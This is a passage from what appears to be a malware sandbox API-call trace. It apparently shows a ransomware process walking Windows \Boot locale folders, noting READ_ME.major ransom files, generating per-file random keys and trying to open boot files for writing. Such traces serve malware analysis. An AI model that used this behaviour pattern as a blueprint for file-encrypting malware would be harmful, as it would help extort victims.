ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0143.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0143.568] GetLastError () returned 0x5 [0143.568] SetLastError (dwErrCode=0x5) [0143.568] GetLastError () returned 0x5 [0143.568] SetLastError (dwErrCode=0x5) [0143.568] GetLastError () returned 0x5 [0143.568] SetLastError (dwErrCode=0x5) [0143.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0143.568] FindNextFileW (in: hFindFile=0x60f4e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0143.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0143.568] GetLastError () returned 0x5 [0143.568] SetLastError (dwErrCode=0x5) [0143.568] GetLastError () returned 0x5 [0143.568] SetLastError (dwErrCode=0x5) [0143.568] GetLastError () returned 0x5 [0143.569] SetLastError (dwErrCode=0x5) [0143.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0143.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0143.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0143.569] FindNextFileW (in: hFindFile=0x60f4e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813254e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x813254e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0143.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0143.569] GetLastError () returned 0x5 [0143.569] SetLastError (dwErrCode=0x5) [0143.569] GetLastError () returned 0x5 [0143.569] SetLastError (dwErrCode=0x5) [0143.569] GetLastError () returned 0x5 [0143.569] SetLastError (dwErrCode=0x5) [0143.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0143.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0143.569] FindNextFileW (in: hFindFile=0x60f4e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813254e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x813254e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0143.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccfa8 [0143.569] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.569] SetFileAttributesW (lpFileName="\\Boot\\nb-NO\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0143.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0143.569] CreateFileW (lpFileName="\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccfa8 | out: hHeap=0x570000) returned 1 [0143.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0143.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0143.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0143.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0143.569] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.569] SetFileAttributesW (lpFileName="\\Boot\\nb-NO\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0143.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0143.570] CreateFileW (lpFileName="\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0143.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0143.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0143.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccfa8 [0143.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0143.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e1d8 | out: hHeap=0x570000) returned 1 [0143.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e408 | out: hHeap=0x570000) returned 1 [0143.570] FindFirstFileW (in: lpFileName="\\Boot\\nl-NL\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f328 [0143.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0143.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0143.570] GetLastError () returned 0x5 [0143.570] SetLastError (dwErrCode=0x5) [0143.570] GetLastError () returned 0x5 [0143.570] SetLastError (dwErrCode=0x5) [0143.570] GetLastError () returned 0x5 [0143.570] SetLastError (dwErrCode=0x5) [0143.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec80 [0143.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0143.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f728 [0143.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f728 | out: hHeap=0x570000) returned 1 [0143.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40540 [0143.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40540 | out: hHeap=0x570000) returned 1 [0143.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce18 | out: hHeap=0x570000) returned 1 [0143.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec80 | out: hHeap=0x570000) returned 1 [0143.571] FindNextFileW (in: hFindFile=0x60f328, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0143.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0143.571] GetLastError () returned 0x5 [0143.571] SetLastError (dwErrCode=0x5) [0143.571] GetLastError () returned 0x5 [0143.571] SetLastError (dwErrCode=0x5) [0143.571] GetLastError () returned 0x5 [0143.571] SetLastError (dwErrCode=0x5) [0143.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0143.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0143.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0143.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0143.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f528 [0143.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f528 | out: hHeap=0x570000) returned 1 [0143.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40570 [0143.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40570 | out: hHeap=0x570000) returned 1 [0143.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0143.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0143.571] FindNextFileW (in: hFindFile=0x60f328, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0143.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0143.571] GetLastError () returned 0x5 [0143.571] SetLastError (dwErrCode=0x5) [0143.571] GetLastError () returned 0x5 [0143.571] SetLastError (dwErrCode=0x5) [0143.571] GetLastError () returned 0x5 [0143.571] SetLastError (dwErrCode=0x5) [0143.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0143.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0143.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0143.571] FindNextFileW (in: hFindFile=0x60f328, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0143.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0143.571] GetLastError () returned 0x5 [0143.571] SetLastError (dwErrCode=0x5) [0143.571] GetLastError () returned 0x5 [0143.571] SetLastError (dwErrCode=0x5) [0143.572] GetLastError () returned 0x5 [0143.572] SetLastError (dwErrCode=0x5) [0143.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0143.572] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0143.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0143.572] FindNextFileW (in: hFindFile=0x60f328, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813254e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x813254e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.572] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0143.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0143.572] GetLastError () returned 0x5 [0143.572] SetLastError (dwErrCode=0x5) [0143.572] GetLastError () returned 0x5 [0143.572] SetLastError (dwErrCode=0x5) [0143.572] GetLastError () returned 0x5 [0143.572] SetLastError (dwErrCode=0x5) [0143.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.572] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.572] FindNextFileW (in: hFindFile=0x60f328, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813254e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x813254e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0143.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0143.572] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.572] SetFileAttributesW (lpFileName="\\Boot\\nl-NL\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0143.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.572] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0143.572] CreateFileW (lpFileName="\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.572] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0143.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0143.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0143.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0143.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.573] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.573] SetFileAttributesW (lpFileName="\\Boot\\nl-NL\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0143.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0143.573] CreateFileW (lpFileName="\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0143.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0143.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0143.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccfa8 | out: hHeap=0x570000) returned 1 [0143.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e368 | out: hHeap=0x570000) returned 1 [0143.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0c0 | out: hHeap=0x570000) returned 1 [0143.573] FindFirstFileW (in: lpFileName="\\Boot\\pl-PL\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f2a8 [0143.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0143.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0143.573] GetLastError () returned 0x5 [0143.573] SetLastError (dwErrCode=0x5) [0143.573] GetLastError () returned 0x5 [0143.573] SetLastError (dwErrCode=0x5) [0143.573] GetLastError () returned 0x5 [0143.573] SetLastError (dwErrCode=0x5) [0143.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee78 [0143.574] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.574] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.574] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0143.574] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f628 [0143.574] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f628 | out: hHeap=0x570000) returned 1 [0143.574] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0143.574] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0143.578] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0143.578] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee78 | out: hHeap=0x570000) returned 1 [0143.578] FindNextFileW (in: hFindFile=0x60f2a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.578] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0143.578] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0143.578] GetLastError () returned 0x5 [0143.578] SetLastError (dwErrCode=0x5) [0143.578] GetLastError () returned 0x5 [0143.578] SetLastError (dwErrCode=0x5) [0143.578] GetLastError () returned 0x5 [0143.578] SetLastError (dwErrCode=0x5) [0143.578] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0143.578] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0143.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0143.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0143.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f3e8 [0143.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f3e8 | out: hHeap=0x570000) returned 1 [0143.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40648 [0143.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40648 | out: hHeap=0x570000) returned 1 [0143.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0143.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0143.579] FindNextFileW (in: hFindFile=0x60f2a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0143.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0143.579] GetLastError () returned 0x5 [0143.579] SetLastError (dwErrCode=0x5) [0143.579] GetLastError () returned 0x5 [0143.579] SetLastError (dwErrCode=0x5) [0143.579] GetLastError () returned 0x5 [0143.579] SetLastError (dwErrCode=0x5) [0143.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0143.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce18 | out: hHeap=0x570000) returned 1 [0143.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0143.579] FindNextFileW (in: hFindFile=0x60f2a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0143.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0143.579] GetLastError () returned 0x5 [0143.579] SetLastError (dwErrCode=0x5) [0143.579] GetLastError () returned 0x5 [0143.579] SetLastError (dwErrCode=0x5) [0143.579] GetLastError () returned 0x5 [0143.579] SetLastError (dwErrCode=0x5) [0143.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0143.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0143.579] FindNextFileW (in: hFindFile=0x60f2a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813254e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x813254e, 